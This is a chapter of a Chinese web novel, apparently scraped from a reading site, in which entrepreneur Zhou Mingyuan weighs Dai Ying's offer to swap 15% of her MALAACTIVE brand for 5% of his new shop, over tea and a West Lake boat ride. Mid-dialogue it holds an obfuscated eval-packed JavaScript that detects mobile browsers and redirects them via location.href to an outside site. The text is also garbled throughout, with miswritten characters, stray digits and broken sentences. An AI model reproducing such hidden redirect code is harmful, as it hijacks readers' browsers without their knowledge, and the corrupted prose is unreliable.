第312章310.她的价值
周明远的做事风格，总结起来其实就是四个字。
先发制人。
习惯掌握主动权的他，从来不喜欢被动猜测。
于是，周明远直接开口，笑著把视线向戴颖那边投了过去。
「戴姐啊..
9
「你这么煞费苦心，带我们看了这么多业内的东西，是不是还有更深层次的合作意向，想跟我聊聊？」
66
9
戴颖闻言，先是微微一怔，随即咯咯地笑了起来，笑声清脆，带著几分被看穿后的坦然。
「对呀。」
她大大方方点了点头，鹅蛋脸上笑容明艳，目光真诚。
「周总果然快人快语，眼光毒辣。」
「我确实有个想法想跟你们探讨下。」
「怎么说？」
周明远抿了口茶，示意对方继续。
「是这样的，周总...」
戴颖稍稍前倾身体，提高声音。
「这次来杭城考察，代表著你们接下来应该也会进军服装领域吧？」
「确实有这个打算。」
周明远点了点头，没有否定对方的猜测。
大家都是聪明人，卖关子和绕圈圈完全没必要。
「我个人非常看好这个赛道，所以，我想能不能谈谈合作？」
「哦？」
周明远眉梢微挑，倒也没感到太多意外。
「具体是什么合作法？戴姐不妨直说。」
戴颖深吸一口气，显然早已打好了腹稿，认真说道。
「我用MALAACTIVE百分之十五的股份，换你新成立的店铺百分之五的股份。」
「你觉得怎么样？」
此言一出，包厢内除了周明远，其他工作人员都被戴颖的话弄得一愣。
贺敏跟杜佳诺更是对视一眼，纷纷在彼此瞳孔中看到了震惊，下意识望向了周明远。
这条件，乍一听简直是疯了！
就目前的市场估值而言，MALAACTIVE处在纯纯的上升期。
和杜佳诺合作以来，光是瑜伽裤这个品类，戴颖的淘宝店月销量水涨船高，已经隐隐有著进军国内Top的潜力。
作为一个已经初步成功的，拥有稳定客流和口碑的线上品牌，MALAACTIVE百分之十五的股份，怎么可能随随便便就送给别人？
没错。
在大多数员工眼里，戴颖这个举动和送没有区别。
现在这个档口，其价值显然远远超过一个尚未诞生，仅存在于蓝图中的新店百分之五的股份。
更何况，一切都还前途未卜。
周明远虽然擅长流量运作，但实体生意能否成功还是未知数。
这相当于周明远几乎没出什么实质性的东西，仅凭一个概念和未来的潜力，就空手套白狼，换到了戴颖这家成熟盈利店铺的可观股份。
品类没定，预期没定，什么都还没敲定。
戴颖这样在商场摸爬滚打多年的精明女强人，为什么要做这样一笔明显亏本的买卖？
周明远只是沉默了片刻，大脑飞速运转，很快就将戴颖的真实意图剖析得一清二楚。
很明显，戴颖是看中了解忧传媒所拥有的巨大流量潜力，以及周明远本人对市场风向的精准把握和操盘能力。
与解忧合作期间，MALAACTIVE吃尽了流量红利，销售额翻了数倍，她比任何人都更直观地感受到了点对面销售的恐怖威力。
说到底，她这也是在投资解忧传媒无可限量的未来。
另外一方面，戴颖是出于分散风险的考量。
作为精明的机会主义者，戴颖深谙一个道理。
鸡蛋不能放在同一个篮子里。
MALAACTIVE主打瑜伽裤，虽然现在处在上升期，但运动服饰市场风向变幻莫测，单一品类的抗风险能力相对较弱。
风口过去了怎么办？
万一现在大家喜欢穿瑜伽裤，过几年市场一变，或者说审美一变，大家觉得土了又怎么办？
居安思危，未雨绸缪。
创业者戴颖经常会问自己这样的问题。
所以，她急需为自已找到一条更宽阔，也更稳定的退路，寻找第二增长曲线。
幸运的是，她好像无师自通找到了这条增长曲线。
如果能背靠解忧传媒的巨大流量，再加上她丰富的服装类行业经验，两者结合起来去探索新赛道，无疑是一个风险极低且潜在回报极高的选择。
这是一笔看似不对等，实则经过精密计算的战略投资。
想通了这些关节点，周明远抬起头，目光重新落在戴颖笃定的脸上。
「戴姐，这么算起来你可是做了笔亏本买卖啊。」
他缓缓开口，意味深长道。
「我亏了吗？」
戴颖低头，自顾自抿了一口清茶，氤氲的热气模糊了她一瞬间的表情。
「我不觉得这是个亏本生意。」
茶室内出现了片刻的凝滞。
只剩下煮水壶发出的轻微咕嘟响，以及窗外愈发密集的雨滴。
「戴姐，15%5%的置换例.．...你对我们这么有信？」
「做生意，眼光总要放长远一点，我相信我的判断，也相信周总你的能力。」
戴颖似乎早已预料到他会有此一问。
她脸上的笑意丝毫未减，反而因为对方的敏锐，而增添了几分耐心。
「我当然有信心。」
戴颖继续说道，语调不疾不徐，就像在陈述再自然不过的事实。
「我相信，一个成功的合作，不在于初期投入的纸面价值是否绝对均等，而在于双方资源互补，所能创造的潜在价值是否最大化。」
「那你们的价值在哪里？」
周明远面带微笑，说出了自己最关心的问题。
「我们的价值....
，戴颖眉眼弯弯，中指勾起，在桌面上咚咚敲了两下。
「就在这里。」
「你看啊，周总你是战略家，是流量运作的天才。」
「你的时间和精，应该聚焦在关键的决策上。」
「比如品牌的顶层设计，核的营销战役以及资本层面的运作。」
她的话语充满了对周明远能力的肯定，随即话锋一转，切入正题。
「但像在杭城本地，或者说在整个服装产业的供应链圈里，很多细节都是要时间，要经历，要一点一点交学费的。」
「我举个例子，比如去对接一个个工厂，核对一道道生产工艺，在成千上万种面料中筛选出最适合的那一款。」
「再比如去招聘、培训、管理一个能够高效运转的电商团队，处理日复一日的客服、仓储、物流等繁琐事务；或者像我今天这样，亲自去四季青抢最新的版型，寻找最有潜力的款式，以及面试、筛选、管理那些娇气的试版小模特...」
戴颖说到这里，轻轻摊了摊，露出一抹笑容。
「这些工作，琐碎、耗时、耗神，需要的是对本地市场的深耕、对行业细节的把握，还有大量时间的投入。
，「坦率地说呢，这些事，确实算不上什么非我不可的高技术壁垒工作，任何一个在行业里摸爬滚打几年的资深人士都能做到。」
她再次端起茶杯，却没有一饮而尽，只是用指尖摩挲著温热的杯壁，目光灼灼看向周明远，抛出了最关键的一句。
「但是，周总，由我来搞定这切，是不是老朋友能更放些？」
「我们可以确保从产品研发到最终上架的每一个环节，都符合你对品牌的定位和服装品质的要求，避免因为沟通不畅或是经验不而弯路交学费。」
「我觉得价值就在于，这给你省下来的时间成本、机会成本和试错成本。」
「5%的比例，算不上过分吧？」
她说完这番话，下颌微抬抿了口热茶，然后姿态优雅地将空杯放回原位，身体微微后靠，重新倚在椅背上。
笑吟吟注视著周明远，耐心等待著他的回应。
茶室再次陷入寂静，但这次的寂静与先前变得不太一样。
空气仿佛凝固，每一秒的流逝都像是在权衡著巨大的利益得失。
有点意思啊。
周明远没有第一时间回应，嘴角依旧挂著笑。
不得不说，这个戴总提出的建议还真有点意思。
事实上，他思考的东西，不仅仅是戴颖MALAACTIVE百分之十五股份的即时价值。
更是她所承诺的这一切省心服务，在未来能为他创造的东西。
以及接受这个方案，意味著他将与眼前这个精明且极具行动力的女人，进行相当程度上的绑定。
亏本吗？
当然不亏。
洞穿未来的他，深知瑜伽裤作为超级单品，不仅会在未来十年之内继续保持流行，并且还会成为时尚爆款。
哪怕是不带任何增值服务，单纯拿自己的创业新店跟戴颖换股份，周明远这边也是占了大便宜。
更何况戴颖还有那么多心甘情愿的付出。
「到底是这龙井配虎跑，滋味绵长，回味穷。」
周明远闭目细品著杯中清茶，喉间滚动著若有似无的赞叹。
「周总一看就是懂茶的人....
，「这虎跑泉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16672174|171292||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
水质地清冽，矿物质含量恰到好处，最能激发龙井的清香。」
戴颖举起紫砂壶，水流划出一道优雅弧线，笑盈盈注满他见底的茶杯。
她说话时手腕轻转，每一个动作都带著江南女子特有的柔美仪态。
龙井茶的清雅遇上虎跑泉的甘醇，又被称作「西湖双绝」。
坐在一旁的贺敏挠了挠头，满脸困惑。
这茶水..
跟平日喝的有什么区别吗？
茶已过两巡，话题却始终在风物人情间流转。
从西湖的传说讲到杭城的变迁，戴颖如数家珍，听得杜佳诺和贺敏两个初到杭城的人十分入迷。
夜色渐浓时，戴颖执意要尽地主之谊，带著众人往西湖走去。
月光如水银泻地，将白堤笼罩在一片朦胧的清辉中。
湖面上，一叶扁舟缓缓划过，船夫戴著斗笠，在月光下剪出轮廓。
雨后空气极好，竹篙入水，搅碎一池月影，粼粼波光随著水波荡漾，映在年轻人的脸上。
远灯藏在湖水深处，泛著青湛湛的光泽，与天上的星月交相辉映。
几人登上一条手摇船，随著水波轻轻摇晃。
贺敏举著手机不停拍摄，眼眸在月光下闪著雀跃的光。
「西湖太漂亮啦....
，她轻声赞叹，生怕惊扰了这片宁静。
「是啊是啊！」
杜佳诺坐在周明远身边，也做著同样的动作。
「西湖跟南湖有什么不一样？」
学姐闻言先是一愣，随即白了他一眼。
「这怎么能比......风景总是别处的最好。」
「诺诺说得在理，我们本地人出去旅行的时候，也没觉得西湖有多漂亮。」
戴颖单手扶著船檐，抿唇轻笑。
小船在湖面上缓缓前行，水和风混在一起。
在方寸之间的船上，世间的纷扰仿佛都被隔绝在外，连那些压在心头的大事，也似乎变得轻盈，可以随手抛入湖中，不留痕迹。
戴颖指尖轻轻划过湖水，内却远不如表面这般平静。
从茶室到西湖边，周明远始终没有给出明确的答复。
合作能不能达成，她心里实在没什么把握。
按理说，这明明是双赢的事情，..
任谁都不会拒绝。
若是换作其他人，在她开出如此优厚条件时，早就该迫不及待地应下了。
可周明远这个人，却让她捉模不透。
他始终不急不缓，明明她已经展现出了足够的诚意，他却依然保持著恰到好处的距离。
更让她困惑的是，这一路上，他仿佛完全忘记了合作的事，时而妙语连珠，时而说些天真烂漫的玩笑，像个出游的少年般兴致勃勃。
偏偏是这样的人，最是难以应对。
戴颖深知，当一个人能够如此坦然地展现自敢的天真与随性，恰恰说明他内心有著强大的秩序。
况为这两任特质，在成人的世界里往往意味著脆弱。
「幼稚」是批评一个人不够成熟，「天真」是暗讽他思虑不周。
在商场上，这样的评价几乎是致命的。
所以那些内心不够强大的人，总是刻意表现得深沉稳重，生怕被人看轻。
就像第一次参加重要场合的新人，总会不自觉地板起脸，用严肃掩饰内心的不安。
而真正强大的人，从不在意这些。
成年人的世界总是被各任焦虑填满。
电商的前景、飞涨的房价、生活的压力.．．.
每个人都在拼命奔跑。
可周明远完全不同。
他既能展示天赋，将流玩转于股掌之间，也能指著天边一朵云，认真地说它像只打盹的猫。
他关心杭城的天己，关心湖水的温度，关心树木间飞鸟的去向。
在所有人都埋头赶路时，他却能蹲下身，专注地观察蚂蚁搬家的路线。
戴颖与很多年轻人合作过，她明白一个道理。
当孩子想要装成熟时，总会显得生硬；而成年人想要活得天真，需要的是一整套完整而强大的内心秩序。
这任秩序让他能够无视企界的评判，始终保持著恰到好处的松弛。
就像此刻。
船靠岸时，周明远率赖跃下船头，回身朝戴颖因出手。
他的手掌宽厚有力，稳稳地扶住她的手臂。
戴颖借力踏上岸边，耳边传来他温和的声音，依然带著那份特有的漫不经心O
「戴姐，回去准备下合同吧。离开杭城前，我公把它签了。」
月光依旧温柔地洒在西湖上，仿佛什么都没有改变。